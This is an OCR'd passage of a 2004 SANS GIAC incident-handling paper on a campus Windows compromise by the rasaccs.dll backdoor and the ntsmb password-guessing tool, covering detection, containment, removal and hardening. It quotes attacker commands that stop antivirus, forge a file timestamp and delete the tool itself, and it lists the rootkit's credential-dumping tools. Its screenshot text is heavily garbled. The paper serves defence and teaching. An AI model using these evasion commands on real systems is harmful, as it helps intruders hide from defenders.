I RTINS O eervcesene B Seahe  HKLMNSpem e Connolel SencestPasauio\ DbigciName SUCCESS  "LocalSysten”

77 M O senicecee 8 Flube  HCCHSpstem CuneniContolsel\Senicas Rasato SUCCESS  Key OE1ZF320D0

77 W D senivecme 28 Choweey ML ystem CuneniConolset\Senicas Rasauto SUCCESS  few DvETGF3E00

A4 BT T nd e B Openkey  HELMASYSTEMACureniContolBet\Services\Rasauto SUCCESS  Key BWET2RDTR0

A7 WSS T nd e M8 Seale  HELMASYSTEMACunenConoBetServicestRasautoDescrition SUCCESS  "Creates a connection b 3 1emote nstwork whenever & piogram references aem..
\SYSTEM\EunenlEuntm\Sel\Sennces\Hasautu\Pammelem SUEEESS Ke : DxETZDﬁED

2178 28355870008 =l und e M8 Cealeke HKLM

Flgure 54. Reglstry Monitor — Rasaccs dll hooked to RasAuto Reglstry key

Again, it should be noted that the screen shot below is taken after deleting
the rasaccs.dll backdoor via the Windows Recovery Console and
modifying the ownership and permission of the RasAuto registry key so
that it is viewable. This value confirms the previous finding through the
Registry Monitor.

7 Registry Editor - [HKEY_LOCAL_MACHINE on Local Machine]
wRegistrv Edit Tree Miew Security Options  Window Help
RasAcd & ||ServiceDll: REG_EXPAND_SZ : CAWINNT aysterm3Iyrasaccs.dil
=1 Rasauto
EIEnum
4 arameters

Iil Security

Figure S5. Registry Editor — Rasaccs.dll hooked to RasAuto Registry key

“ http://www.sysinternals.com/ntw2k/source/regmon.shtml
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5. This keeping access phase can also be detected at the network level by the
On-Campus Intrusion Detection System (IDS) through the signatures below
as described earlier in the Signatures of the attack section:

v NETBIOS SMB IPC$ share access (SIGID 537% 538%°, 2465%°, 2466°")

v NETBIOS SMB C$ share access (SIGID 533%, 2470%, 24713, 2472%)

v NET%OS SMB ADMINS$ share access (SIGID 532%, 2473% 2474%
2475%)

v’ Installation of rasaccs.dll backdoor(SIGID 1000001, 1000002)

The figure below illustrates a sample of SMB traffic (IPC$ and ADMIN$ access)
generated when the attacker tries to install the rasaccs.dll backdoor.

Figure 56. Rasaccs dll 1nstallatlon IPCS and ADMIN$ access

The figure below illustrates several samples of Snort alerts triggered by the SMB
traffic above
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Figure 57. Rasaccs.dll installation — IPCS$ and ADMINS access — Snort Alerts

The figure below demonstrates sample traffic generated when installing the
rasaccs.dll backdoor on a victim machine.
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The figure below shows a sample Snort alert generated by the attempted rasaccs
backdoor custom signature that is triggered by the traffic above.

Figure 59 . Rasaccs.dll installation — RundllInstall — Snort Alerts

4.5 Covering Tracks

The version of ntsmb.exe found in the recent campus incident appears to
protect itself. Unless being run properly, it deletes itself, together with two of
its dictionary files (the ntsmbcommon.dic and the ntsmb.dic) as showed in the
r.bat script below. This r.bat is created automatically when the execution of
the ntsmb.exe fails.

& r bat - Notepad

File Edit Format Help

Becho off

istart

del AF /0 ntsmh. exe

del ntsmh. exe

if exist ntsmh.exe goto start
del %0. bat

Figure 60. r.bat script

The two screen shots below illustrate this deletion process utilizing File
Monitor®.

. File Monitor - Sysinternals: www.sysinternals.com

Fle Edit Options Yolumes Help
B RBE & | 27 [ 45 |

# | Time | Process | Request ‘ Path | Result | Other
391 22327 AM ; OFEN : SLICCESS
DELETE C:Y bcomman. dic
CLOSE C:Y beomrnon, dic
C:oolshtestintzmb. dic
DELETE [:hhoolstestintsmb. dic

iong: Open Access Al

393 223Z7aM

3594 22327 AM Options: Open Access All

396 22327 AM CLOSE C:Moolshtestntzmb. dic SUCCESS

7 22327 AM T ritsmb. ewe:904 OPEM C:\oolshtests bat SUCCESS Options: Openlf Access: Al
398 22327 AM I ritsmb. exe:904 QUERY INFORMATION C:vools\testi. bat SUCCESS Length: 0

M3 22327 AM I ritsmb. ewe:904 QUERY INFORMATION C:Moolshtestir. bat SUCCESS Length: 0

400 22327 AM T ritsmb. exe:904 WRITE C:htoolshtests bat SUCCESS Offset: 0 Length: 98

a0 22327 AM =l ntgmb.exe: 904 CLOSE C:Moolshtesthr. bat SUCCESS

Figure 61. Deletion of ntsmbcommon.dic and ntsmb.dic dictionary files
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2. File Monitor - Sysinternals: waw.sysinternals.com

File Edit ©ptions Yolumes Help

B REBE(@ | 7 | #4Q |

# | Time ‘ Process ‘ Request ‘ Path ‘ Result | (Other

448 22327 AM =1 CMDEXE:E76 OPEM C:\oolshtestir. bat SUCCESS Optiong: Open Access: All

449 22327 M = CMDEXE:ETE READ C:Mools\esthr. bat SUCCESS Offset: 19 Length: 2048

480 22327 &M = CMD.EXE:675 CLOSE C:Mools\esthr. bat SUCCESS

451 22327 AM =l CMDEXEETE OPEN CA SUCCESS Options: Open Diectory Access: Al
462 22327 AM = CMD.EXE:67E CLOSE Ch SUCCESS

453 22327 AM = CMD.EXE:676 QUERY INFORMATION C:hoolshestintsmb.exe SUCCESS Attrbutes: &

454 22327 AM = CMD.EXE:676 QUERY INFORMATION C:htookshestintsmb.exe SUCCESS Attrbutes: &

485 22327 AM =| CMDEXE:ETE OPEM C:\toolsbtesth SUCCESS Options; Open Ditectory Access: Al

456 =1 CMDEXE:E76 DIRECTORY C:\oolshtesty SUCCESS FileB athDirectorpinformation: ntsmb.exe
=l CMDE OPEN C:\tool sib [ptions: Open Access: Al
=1 [ifnls Ch ]
:23: =l CMD.EXE: CLOSE C:\baok\testhntsmb. exe

22327 oM =l CMDEXEETR DIRECTORY C:\toolshtesth NOMORE FILES FileB athD irectorpinformation

22327 AM = CMD.EXE:676 CLOSE C:hoolshesth SUCCESS

2:23:27 &M =l CMDEXE:ETE OPEM C:\toolsbestyr. bat SUCCESS Options; Open Access; All

22327 &M =1 CMDEXE:ETE READ C:Mools\esthr. bat SUCCESS Offset: 40 Length: 2048

2:2327 &M =I CMDEXE:ETE CLOSE C:Moolshesthr. bat SUCCESS

Figure 62. Deletion of ntsmb.exe itself

Before installing the backdoor, the attacker tries to stop the mcshield process,
which is the McAfee VirusScan, to prevent detection of the anti-virus software.
However, none of the Anti Virus softwares seem to detect this backdoor when
we first saw it in mid February 2004.

serv stop mcshield x.x.x.x

Since this particular victim does not have McAfee VirusScan installed, this
command can not be completed.

G SWINNTSTEMP *serv stop mczshield ~~192.168.209 2601
Could not open the service for control commands.

Are you sure mcshield exists?

Figure 63. Stopping mcshield

For completeness, the attacker can include the processes of other antivirus
software.

The attacker also tries to hide the rasaccs.dll backdoor through various
approaches:

v" The timestamp of the rasaccs.dll backdoor is changed to match that of the
ntdos.sys (MS-DOS emulator). This way, the backdoor’s existence will be
less obvious to the system administrators/users.

C:\UINNT\TEMP > touch -f \\92.168.2089.201\adnind\systend2ntdos.sys \\192.168.209. 201 \adnins \systen32\rasaces.d11
Figure 64. Updating rasaccs.dll timestamp
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Czsrdir winntssystemd2sraszaccs.dll
Uolume in drive C has no labhel.
Uolume Serdial Mumher is BEEA-BAH1

Directory of C:iswinntssystem3z2

A2-14-2004 B@7:09p 55.296 rasaccs.dll
1 Filed=s> L2976 butes
A DirdisD 2,.793.853,.448 hyte=z free

Czsrdir winntssystemd2sraszaccs.dll
Uolume in drive C has no labhel.
Uolume Serdial Mumher is BEEA-BAH1

Directory of C:iswinntssystem3z2

12-87-1299 12:88p 55.296 rasaccs.dll
1 Filed=s> L2976 butes
A DirdisD 2,.793.853,.448 hyte=z free

Figure 65. Rasaccs.dll timestamps

v' The rasaccs.dll backdoor is run by the svchost.exe, so it is less
noticeable'”. The screen shot below illustrates this.

-.f'* Active Ports

File Cptions  ?
Process | PID + | Local |F‘| Local F‘ortl Remate |P| Remate F‘ortl Statel Prat... | Path
6P System 3 192.168.209.201 139 LISTEN  TCP
6P System g no.0a 445 LISTEMN  TCP
UOF S ysterm g 192.168.209.201 137 LISTEN UDP
UOF Systern g 192.168.209.201 138 LISTEN  UDP
UOF S ysher g 0.0.00 445 LISTEN UDP
UOF gervices. exe 228 0000 1023 LISTEM UDP C:MWINMTSspstem32ieervices. exe
UBF |za5s BN 240 192.168.209.201 500 LISTEM UDP  CMWINNTSspstem32hzass exe
ToF gychost exe 400 0ooon 135 LISTEN  TCP C:AWINNT\system32isvchost exe
UDF gychost exe 400 0.0.00 135 LISTEM UDP  C:NWINMTaystem32hsvchost exe
6P madic. exe 456 0000 1025 LISTEM  TCP CAMWINNTSSystem32imedic.exe
6 madic. exe 456 0000 3372 LISTEM  TCP  CMWINMTYSpstem32imedtc.ex
L <vchost exe 0000 LISTEN C:WINNTAS LEHE
TeF M5 T azk. exe E7E 0ooon 1026 LISTEN  TCP  C:NWINNT savstem32W5 T ask exe

Figure 66. Active Ports — svchost.exe on 1129 TCP

v" Once installed, the rasaccs.dll backdoor restricts access to the RasAuto
registry key and it therefore hides the ‘rasaccs.dll value from being
discovered through the registry search function. Notice that the RasAuto
registry key is grayed out in the figure below.

Registry Edit Tree “iew Security  Options  Window Help

= HKEY_LDCAL_MACHINE on Local Machine =0l

Figure 67. Régistry Editor — Protected RasAuto
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5. The Incident Handling Process

5.1 Preparation
5.1.1 Existing Countermeasures
1. Border protections — core layer

v" The anti spoofing access lists are configured at the Border Router A to
prevent involvement of on-campus hosts in source IP address spoofing
Denial of Services attacks. In addition, any temporary blocks of off-
campus offending IP address(es) are also placed in this border router.

v All incoming and outgoing Windows Networking traffic (TCP & UDP 1395-
139, 445) are dropped at the border firewall unless requested explicitly.

v There is an intrusion detection system placed immediately inside the
border firewall, inspecting all incoming and outgoing traffic from and to the
Internet. The objectives are to identify intrusions sourced from off-campus
and at the same time, detect ill machines on campus that are trying to
attack or being controlled from the Internet.

2. Distribution layer protections

v' The anti spoofing access lists also exist on all interfaces of the distribution
routers.

v' There is another intrusion detection system inspecting the incoming and
outgoing traffic off the distribution routers. The goal of this placement is to
detect inter-subnets/ buildings/departments attacks on campus
considering the wilderness of the on campus networks themselves.

v' Some subnets are better protected through reflective access lists. These
reflective access lists are used to permit IP traffic for sessions originating
from a particular network and deny those that are originating from outside
the network.”’

5.1.2 Incident Handling Process

1. Although there is no formal incident handling procedure currently in place, our
current practice seems to be widely accepted by most departmental network
managers.

2. The current ‘unofficial incident handling procedure is as follows:

50 hitp://www.fags.org/rfes/rfc2267.html
51

http://www.cisco.com/univercd/cc/td/doc/product/software/ios113ed/113ed_cr/secur_c/scprt3/screflex.htm
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v Incident reports can be received from various sources in different forms
such as abuse reports from external parties (off campus), email
complaints from departmental network managers (on campus), internal
network IDS reports, and anomalous network usage/activities reports from
the network monitoring tools, etc.

v In case of a widespread virus/worm/trojan infections, we:
- Communicate the existence of the virus/worm/trojan infection to the
departmental network managers.
- Obtain as much information regarding the infection and bring the fixes
(if any) as close as possible to campus, i.e. the SIRT (Security Incident
Response Team) website.
- On a periodic basis:
= Obtain a list of vulnerable/infected machines from either IDS alerts
or nessus/nmap scannings.

= Block the infected MAC addresses (due the high number of DHCP
machines on campus) from accessing the network at the
distribution network layer.

= Post the list of infected and blocked system information on a
restricted page that is accessible by the departmental network
managers.

v In case of a real incident:
- Determine the scope (how many systems are infected) of the incident
and the departmental contact information of the affected systems
- Determine the severity of the incident
- Determine the need to involve the authorities/ officials
- Investigate the nature of the attack,
- Communicate with the departmental contact person as necessary

5.1.3 Incident Handling Team

The Security Incident Response Team (SIRT) is the main channel for reporting
incidents on campus. After hours reporting is usually directed to the red pager
team on duty. The red pager team is responsible for receiving any network
emergency calls and it usually consists of a security incident response team
member and a network operation team member.

5.1.4 Policies and Procedures

1. The campus-wide security policy has been drafted and is in the
review/approval process.

2. Various policies supporting guidelines have been drafted, including a
password construction and management guideline. The incident handling
guidelines, especially those related to the incident reporting process, are the
next in line to be developed.

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.



3. Most of the software tools for the incident handling jump bag (e.g. dd, netcat
and cryptcat, Ghost, Knoppix, Windows NT/2000 Resource Kit, clean
precompiled binaries for both Windows and Unix systems tools, FileMon,
RegMon, TaskInfo, ActivePorts, etc.) are available in various storage media
(CD, USB jump drive, floppy disk) that are accessible by the SIRT members.

5.2 Identification
Saturday, 02/14/04 — 17.30pm

The incident was first reported on Saturday late afternoon by a department
network manager to the red pager team on duty that there was an offending
machine (system X) on campus that had been trying to login to his servers using
various login accounts. This report was followed immediately with another
similar report (the same offending IP address) from a different network manager.
Figure 1 illustrates the sample EventViewer logs sent to SIRT as part of this
incident report.

Analyzing the Snort alerts for system X’s IP address on that day, it appeared that
most of the alerts could be grouped into 4 different categories: port scanning,
NETBIOS SMB IPC$ share access, NETBIOS SMB C$ share access, and
NETBIOS SMB ADMINS$ share access as illustrated in the figures below. In
addition, it was very noticeable from the port scan alerts that this machine was
scanning almost all campus IP ranges. It appeared that these activities were
started around 12pm.

d: 30 =liding:

Figure 69. SMB IPCS, C$, ADMINS access — Snort alerts
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We were not sure what was really causing system X to generate this much traffic
at that time and the red pager team also had difficulties in contacting the
departmental contact person of the offending system.

5.3 Containment
Saturday, 02/14/04 — 18.10pm

A decision was later made to block system X’ at the distribution router
considering the relatively high number of affected systems based on the reports
received by the red pager team and the complaint emails from various system
administrators to the SIRT and Network discussion mailing list later that day.
One interesting thing that caught our attention from the various reports was that
some of the usernames were real usernames and could be related to real people
on campus.

An email was sent to the departmental contact person of system X notifying him
regarding this incident report and the action taken on system X’s IP address. |t
was also stated that we would like to investigate the system.

5.4 Eradication

This phase was started by investigating system X to determine what infection it
brought to the target machines.

Monday, 02/16/04 — 8am

We received a call from the system administrator that was responsible for system
X and it appeared that the machine was one of their main servers that
accidentally had an administrative account with the account name as the
password. According to the system administrator, this administrative account
was required by one of the critical applications and there were some concerns
that changing the password to something else might cause the application to
stop working.

Fortunately, this particular application only needed to talk to the local subnet and
therefore, the router block could still be maintained to isolate the machine from
other subnets and until we managed to gather more information on the machine.

The system administrator did go ahead and search for newly created files on the

machine and found a set of rootkit files left by the hacker in the C:\Winnt\temp
directory. The entire rootkit files was compressed and sent to SIRT.
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The router access list blocking system X had a hole punched in it for a period of
several minutes to allow SIRT to nessus®® scan it in order to obtain a better
picture of what were running on the machine. Two interesting ports were
identified: TCP 1129 and 4482.

Below is the nessus result (only reporting open-ports).

Host: 192.168.209.167
Open ports:
netbios-ssn (139/tcp)
VeritasBackupExec (6101/tcp)
LSA-or-nterm (1026/tcp)
microsoft-ds (445/tcp)
- we later found out that there was an ftp
daemon listening on this port.
NFS-or-IIS (1025/tcp)
msdtc (3372/tcp)
loc-srv (135/tcp)
sybase (2638/tcp)
- rasaccs.dll backdoor
netbios-ns (137/udp)

Monday, 02/16/04 — 11am

We looked into the rootkit and found the ntsmb.txt that contained a list of IP
addresses, username and password combinations. Several people were called
to confirm the accuracy of this information. A notification email containing the list
of IPs (without username and password information) contained in the ntsmb.txt
was sent out to the network manager mailing list, urging people to change their
passwords.

More research was performed on the other files of the rootkit. The first file that
drew our attention was ‘install.cmd’ because it was the only one that actually tried
to copy and install something on a remote system.

A test environment (consisting of two NAT Windows 2000 — A and B) was built
using VMWare Workstation®®. As part of preparing the test environment, these
tools were installed on both virtual machines:

File Monitor'®
Registry Monitor*®
Tasklnfo 2003
Active Ports®®

52 http://nessus.org/

53 http://www.vmware.com/
5% http://www.iarsn.com/taskinfo.html
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Once the entire rootkit was copied to virtual machine A, we tried to run the
‘install.cmd’ script by providing the real administrator username and password for
the remote virtual machine (B).

We found that once the rasaccs.dll backdoor was installed (after being copied to
%SystemRoot%\system32\rasaccs.dll); it was run by the svchost.exe and the
process listened on TCP port 1129. Most of the findings from this exercise are
described in the earlier ‘Keeping Access’ section.

In addition, we also came across McAfee’s report on NTSMB."

Further interview with the system administrator during our on-site visit later that
day revealed several facts regarding system X:

1. It was vulnerable to Microsoft Windows ASN.1 LSASS.EXE Remote Exploit.
Although the related patch MS04-007°° (released on February 10, 2004 — 4
days before the incident) was downloaded to system X via the Windows
Update client, it was not installed until after the incident. An executable
program of the ASN Remote DoS Exploit code®” was found as part of the
rootkit. However, we did not believe that this was the initial vector used to
compromise system X because this particular exploit program only caused
denial of services and not remote admin access.

2. It was confirmed that there was an administrative account that had the
account name as the password. We believed that this weak administrative
password was exploited to compromise system X.

3. Reviewing the Event Viewer log files, the McAfee VirusScan (mcshield)
process was stopped around 11.45am (02/14/04).

4. The McAfee VirusScan (restarted when the machine was rebooted after the
incident) detected the existence of the HackerDefender’® Trojan on the
machine. This trojan was used to hide several processes and files including
foort.exe. As shown in Appendix A, the attacker renamed fport.exe in the
rootkit into fpor.exe to avoid it being hidden by this Trojan.

5. Although the install.cmd script suggested that the timestamp of the rasaccs.dll
backdoor was updated to use that of the ntdos.sys, the rasaccs.dll on system
X had a current timestamp. This led us to believe that the attacker did not
use the install.cmd script to infect system X.

6. The account logon events audit was not enabled.

Based on the above information, we concluded that system X was compromised
through similar attack (weak password and null session) as the one described in
this paper. Although it seemed that it was compromised via another machine on
campus (the fact that we blocked all incoming Windows ports (TCP and UDP 135

55 http://www.ntutility.com/freeware

%6 http://www.microsoft.com/technet/security/bulletin/MS04-007.mspx
37 http://www.k-otik.com/exploits/02.14.MS04-007-dos.c.php

%8 http://hg.mcafeeasap.com/dispVirus.asp?virus_k=100035
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— 139 and 445) at our border firewall directed us to this conclusion), we also
believed that it was controlled by a hacker located somewhere on the Internet.
Since it only took one compromised machine on campus to make this attack
possible, the number of scenarios for the initial compromise was relatively high.
Therefore, we focused this incident handling process on the infection brought by
system X to its target machines.

The actual eradication process is addressed from both the host and the network
levels.

Host level
Monday, 02/16/04 — 6pm

Another notification email was sent to the network manager mailing list to share
our findings. Regardless of whether they own any of the IP addresses distributed
earlier on that day, we strongly urged everyone to look for the following files on
their machines:

- rasaccs.dll in the %SystemRoot%\system32 directory
- ntsmb™: this is to include ntsmb.exe, ntsmb.dic, ntsmbcommon.dic and
ntsmbcombos.dic.

One of the network managers suggested the use of NetworkSearcher®® tool to
perform this task.

Network level
Monday, 02/16/04 — 6.30pm

Based on the fact that all machines infected with rasaccs.dll will be listening on
TCP PORT 1129, SIRT began scanning campus for machines with open port
TCP 1129 using nmap®°. Since this scan looked only for open port TCP 1129,
we cautioned people that there might be false positives in the list, especially
when the actual hosts are not Windows machines. The IP addresses of these
machines were posted on our restricted web page.

This scanning was repeated several times within the week.

The custom signatures described in the Signatures of the attack were applied to
the on-campus IDS to help discover similar attacks that utilize remote SAM
access to collect the local password policy information for password cracking
purposes. In addition, alerts would also be generated by any attempts to install
the rasaccs.dll backdoor over the network. Since the location of the on-campus

% http://www.bgsoft.net/
60 . -
http://www.insecure.org/nmap/
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IDS is at the distribution layer, the sensor would not detect attacks among hosts
in the same subnet.

5.5 Recovery

Due to the number of infected hosts, the recovery stage of this incident was
highly dependant on the support of departmental network managers and the end
users themselves. SIRT’s main role was to provide as much useful information
as possible to facilitate them in their clean up and recovery processes.

The recovery time for this incident was approximately 3 — 4 weeks.

At the time of this incident, none of the anti virus software detected this
rasaccs.dll backdoor. We sent the whole rootkit (after sanitizing some sensitive
information) to three AntiVirus software companies. We did not received a
response until 2 months later when the rasaccs.dll backdoor was named
Backdoor.AnyServ.B.""

Thus, we strongly recommended people to rebuild the infected machines. As a
temporary fix, we suggested to remove the rasaccs.dll backdoor through the
following steps:

1. Remove the rasaccs.dll file from the system

Once installed, the rasaccs.dll becomes an active running process on the
victim system as showed through File Monitor'® below.

Figure 70. File Monitor — Rasaccs.dll on infected hosts

& File Monitor - Sysinternals: www.sysinternals.com

Fil= Edit ©ptions Yolumes Help

H | RBE @ | 2% | 5 |

# | Time | Frocess | Fequest | Path | Fiesult | Other |
1 319:28 PM =l csrssexe180 OPEN C:winnthaystem32vrasaccs.dl - SUCCESS Options: Open Access: Al

2 319:28 PM =l csrssene180 QUERY SECURITY Chwwinnthaystem32vrasaccs.dl  INVALID DEVICE REQUEST

3 319:28 P = carszexe:180 QUERY SECURITY Chwinnthaystern32vasaces.dl  INVALID DEVICE REQUEST

4 319:28 PM =l casrssere180 CLOSE C:\winnthaystem32vrasaccs.dl - SUCCESS

B 319:28 PM =l csrssene180 OPEM Chwwinnthaystem32vrasaccs.dl SUCCESS Options: Open Access: 000...
B 31528 P =l carszexe:180 SET SECURITY Chawinnthaystem32hrazaccs dl  INVALID DEVICE REQUEST

7 319:28 PM =l csrss.ere180 CLOSE C:\winnthaystemd2vrasaccs.dl - SUCCESS

8 319:28 P =l csrszere:180 OPEM C:wwinnthaysterm32vasacce.dl  SUCCESS Options: Open Access: Al

9 319:28 P =l csrssexe180 GUERY SECURITY C:winnthaystern32vrasaces.dl  [INVaALID DEVICE REQUEST

10 319:28 PM =l csrssene180 QUERY SECURITY CAwinnthaystern32vrasaces.dl  INVALID DEVICE REQUEST

1 319:28 P = corszexe180 CLOSE Cwwinnthaysterm32vasacce.dl  SUCCESS

12 319:28 PM =l csrssexe180 OPEN C:winnthaystem32vrasaccs.dl - SUCCESS Options: Open Access: 000...

Therefore, the rasaccs.dll cannot be deleted directly. One way is through
the Windows Recovery Console (using the Windows Installation CD) as
illustrated below.
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Type EXIT to guit the Recovery Console and restart the computer.

1: C:sWINNT

Jhich Windows 2888 installation would you l1like to log onto
(To cancel,. press ENTER>? 1
Type the Administrator passwopd: FEEERENENNE
The password iz not valid. Please retype the password.
Type the Administrator password: M*eEEEEENENE
The password is not valid. Please retype the password.
Type the Administrator password D  SEEsEmeseeeenetes

SUINNT >dir system32hrasaccs.dll

The volume in drive C has no label

The volume Serial NHumbher is BBfZ2-ebfa

Directory of C:sWINNTssystemdZsrasaccs.dll
B6 /1983 12:85p 55296 rasaccs.dll
fileds)
2869374976 hytes free

SUINNT >delete system32srasaccs.dll

ISUIHNT >dir system32srasaccs.dll

The volume in drive C has no label

The volume Serial Humher is BBfZ2-ebBa

Directory of C:sWINNTssystemdZsrasaccs.dll

o0 matching files were found.

tSUINNT >
Figure 71. Windows Recovery Console — Rasaccs.dll removal

2. After the rasaccs.dll is deleted, the ownership and permission of the RasAuto
registry key can be modified through the regedt32 tool as follow:

- From the Advanced Security Settings for RasAuto (Windows XP) or
Access Control Settings for RasAuto (Windows 2000), change the
ownership of the registry key. In this example, | change the ownership of
the RasAuto registry to the Administrators group.

Access Control Settings for Rasauto e |

Permissiohs] Auditing Dwner ]

Current owner af this itermn:

|Unable to dizplay current owner.

Change owner tao:

MName
7 Administrator (TEST1 A dministratar)
ﬁ Adrministrators [TEST1%Administrators)

[ Replace owner on subcontainers and objects

ak. | Cancel Apply

Figure 72. Before change of ownership

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.



Access Control Settings for Parameters 2=l

F'ermissionsl Auditing  Dwher

Current owner of this item:

|Administrators ’ TOAZTIKG N Administrators)
Change owner to:

Mame

7 Administrator  * TO42IYTIKG YA dministrator]
€ fdministratars [ TO4ZJYTIKG s dministratars)

[” Replace owner on subcontainers and objects

n] I Cancel Lpply

Figure 73. After change of ownership

- Once the modification of registry key ownership is applied, use the
Permissions for Rasauto window to assign permission to different
users/groups. In this example, | added the Administrators group.

Before the modification of registry permissions

Permissions for Rasauto |

Security |

Mame | Add...

Bemove |

Permiszions: Lillove Deny
Fiead O O
Full Caontral O (|

Advanced... |

u Allow inheritable permizzions from parent to propagate to thiz

object
Ok I Cancel Apply

Figure 74 . Before modification of registry permissions
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Permissions for Parameters d |

Security |

Name | Add...
ﬁ Adminiztrators

TO4ZITIKG i
€ SvsTEM 4“”“”"8

Permigzzions: Al Dery
FRead O
Full Control O

~ Allows inheritable permizzions from parent to propagate ba this
object

(0] | Cancel I Appliy

Figure 75. After modification of registry permissions

3. Modify the value of the registry below from
"%SystemRoot%\System32\rasaccs.dll" to
"%SystemRoot%\System32\rasauto.dll"
\HKLM\SYSTEM\CurrentControlSet\Services\RasAuto\Parameters\ServiceDIl

In addition, we provided the POST CLEAN UP recommendations as follow:

1. Review the security options section of the Local Security Policy
Go to 'Start -> Settings -> Control Panel -> Administrative Tools -> Local
Security Policy -> Local Policies -> Security Options'

Perform the following changes if possible:

Windows 2000

v Additional restrictions for anonymous connections

- If possible, use ‘No access without explicit anonymous permissions'.

- At least set to 'Do not allow enumeration of SAM accounts and names".

- When you have a mixed Win2K and WinNT domain, the first option is
NOT recommended; test it beforehand.

v" LAN Manager Authentication Level

- If possible, use 'Send NTLMvZ2 response only/Refuse LM & NTLM' .
- Atleast set to 'Send NTLM response only'.
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- When working in SAMBA environment, the first option may break SAMBA
shares; WebDAV might also break; test it beforehand.

Windows Server 2003/XP

v" Network access: Allow Anonymous SID/Name Translation: Disabled

v" Network access: Do not allow anonymous enumeration of SAM accounts:
Enabled

v' Network access: Do not allow anonymous enumeration of SAM accounts
and share: Enabled

v" Network access: Let everyone permission apply to anonymous users:
Disabled

v" Network access: Shares that can be accessed anonymously: Should be
blank — it lists several items by default — highlight and delete them

v Network security: Do Not Store LAN Manager Hash (LM Hash) value on
next password change: Enabled

v Network security: LAN Manager Authentication Level
- If possible, use the 'Send NTLMv?2 response only/Refuse LM & NTLM
- Atleast set to 'Send NTLM response only'.
- When working in SAMBA environment, the first option may break

SAMBA shares; WebDAV might also break; test it beforehand.

2. Always require strong passwords (periodically use password cracking tools
(e.g. LC4) to audit the strength of your users' passwords). Please take this
opportunity to change your password or require your users to change their
passwords.

3. Enable logging on the system.
Go to 'Start -> Settings -> Control Panel -> Administrative Tools -> Local
Security Policy -> Local Policies -> Audit Policy’

Our recommendation is: (adjust this accordingly to your environment)
v Audit account logon events - Success, Failure

v Audit account management - Success, Failure

v Audit directory service access - No auditing unless it's a domain controller
(Failure Log)

Audit logon events - Success, Failure

Audit object access - Failure

Audit policy change - Success, Failure

Audit privilege use - Success, Failure

Audit process tracking - Failure on domain controllers and servers
Audit system events - Success, Failure

ANANE NN

4. Please make sure that the system is up-to-date on patches. We strongly
encourage use of Automatic Windows Update for Windows systems (e.g.,
2000 and XP).
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5. Disable the default ADMIN shares by adding the following registry key value
Hive: HKEY _LOCAL_MACHINE
Key: SYSTEM\CurrentControlSet\Services\LanManServer\Parameters
Name: AutoShareServer for servers
Name: AutoShareWks for workstations
Type: REG_DWORD
Value: 0

6. Install antivirus software and its remote update engine.
7. Install personal firewall to better secure your machine.

5.6 Lessons Learned

1. Since the rasaccs.dll backdoor used in this incident was not detected by any
anti-virus software at that time, the total eradication time of approximately 10
hours 30 minutes was spent on analyzing the scripts in the rootkit and
dissecting the backdoor. The hands-on experience gained throughout this
process has been invaluable.

2. Most of the communications of this incident were conducted through email
and posting on SIRT restricted web pages. This process appeared to work
quite well and it is considered sufficient for the time being.

3. Although SIRT/on-duty red-pager has the ‘unofficial’ power to take a machine
off the network based on their judgment when a department contact person
could not be contacted due to various reasons — such as weekend in this
particular case, there is still a need to establish an incident reporting chain
and maintain an up-to-date list of computer emergency contact person for
each subnets/department.

To do:
v Build an incident reporting structure

4. While this incident was contained in a relatively short period of time from the
time we found out about it (40 minutes), the total time for attack was
approximately 6 hours as illustrated in the incident time table below. Although
the 6 hours total attack time was still considered tolerable, an improved
intrusion detection reporting/ alerting mechanism could be put in place to
reduce this total attack time. In addition, the ability to trace this particular
attack to its origin was another issue that needs to be solved. Developing a
correlation scheme among the data collected from border IDS, border firewall,
and on-campus IDS would improve our tracing ability.

To do:
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v" Research on real time alerting with Snort®" to provide shorter detection
time for both on-campus and border Snort IDSs.

v' Research on correlation scheme among various sources of alerts: border
firewall, border IDS, and on campus IDS.

5. The current software tools in the jump bag have been very useful, especially
during the eradication phase of this incident. However, there is an urgent
need to acquire fresh backup media (IDE and SCSI hard drives) to
complement the current incident handling jump bag.

To do:
v Purchasing fresh backup media, both IDE and SCSI hard drive.

6. We sent the whole rootkit to three different anti-virus companies and none of
them responded in a timely manner. A better partnership with the anti-virus
software companies (especially the one that we pay for) is definitely required.
To do:

v' Contact the anti-virus company to obtain better communication channel

Incident time table

Attack start time Saturday, 2/14/04 — 12.03pm
(Timestamp of the 1°' flow-portscan alert from the

offending machine)

Incident reported time Saturday, 2/14/04 — 17.30pm
Router block time Saturday, 2/14/04 — 18.10pm
(The attack is assumed as contained after blocked

at the distribution router)

Total attack time 6 hours 7 minutes
Eradication time Monday, 2/16/04 — 8am to
6.30pm
10 hours 30 minutes
Recovery time 3 — 4 weeks

(Cleaning up all infected machines on campus)

1 http://www.linuxsecurity.com/ feature_stories/feature_story-144-2.html
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Appendix A. List of tools/scripts

MName

-lpr_scanit.bat
Epsexec. exe
[F]=d.bat
[Flnu.bat
EFScan exe
[pskiLL.ExE
[Ffp.bat
Fserv.exe
EGIobal .exe
ELocal.exe

L‘-ﬂ LsaExt.dll
Iﬁpwdump 2.exe
EPWDumplexe
Flowservice.exe
L.JE‘] samdump. dil
Eﬁndpass.exe
Fervinfo.exe
Fnitest.ex=
[l aToNCE. exe
Flsc.exe
[FnTRIGHTS.EXE
E] ntsmbcommon, dic
Entsmb exe

Eﬁ:or.exe
1
Iﬁplist. exe

Fﬂshareadmin .bat

@ instrip.bat

Flpingit.bat
Fasnfuck.exe

2
open.bat

L’\:;] dumplsa.dil
Elsadumpz.exe
Flenum.exe
remove.bat

exec,vbs

cull.bat
niew, txt
nitsmb. dic
1.t
ntsmbcombos. dic
Ftouch.exe
Frec.ExE
Fnc.exe
deanup.cmd
install.cmd
ntsmb. bt
’L‘_b]rasaccs.dll
Eechos.com
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E] [128.196.0.1-123.196. 255.255] . txt

[150.135.0.1-150,135, 255, 255]. txt

Size

579
122,380
50

&3
16,396
74,736
258
37,376
5,904
5,904
43,152
32,768
61,990
45,056
36,864
32,768
47,104
250,380
75,300
28,672
33,184
91
37,376
51,427
114,688
16
34,304
453
40,727
452
427
354
33,280
820
4,147
25,577
629
36,864
32,768
49,152
135
918
34,130
1,502
3,268
3,268
30,720
95,744
59,392
539
8a7
11,963
55,296
&6

Packed

303
47,421
40

84
8,726
33,650
139
34,426
2,105
2,125
20,118
14,281
26,327
16,044
17,063
15,415
15,225
2,353
38,624
24,240
15,280
71
34,829
7,918
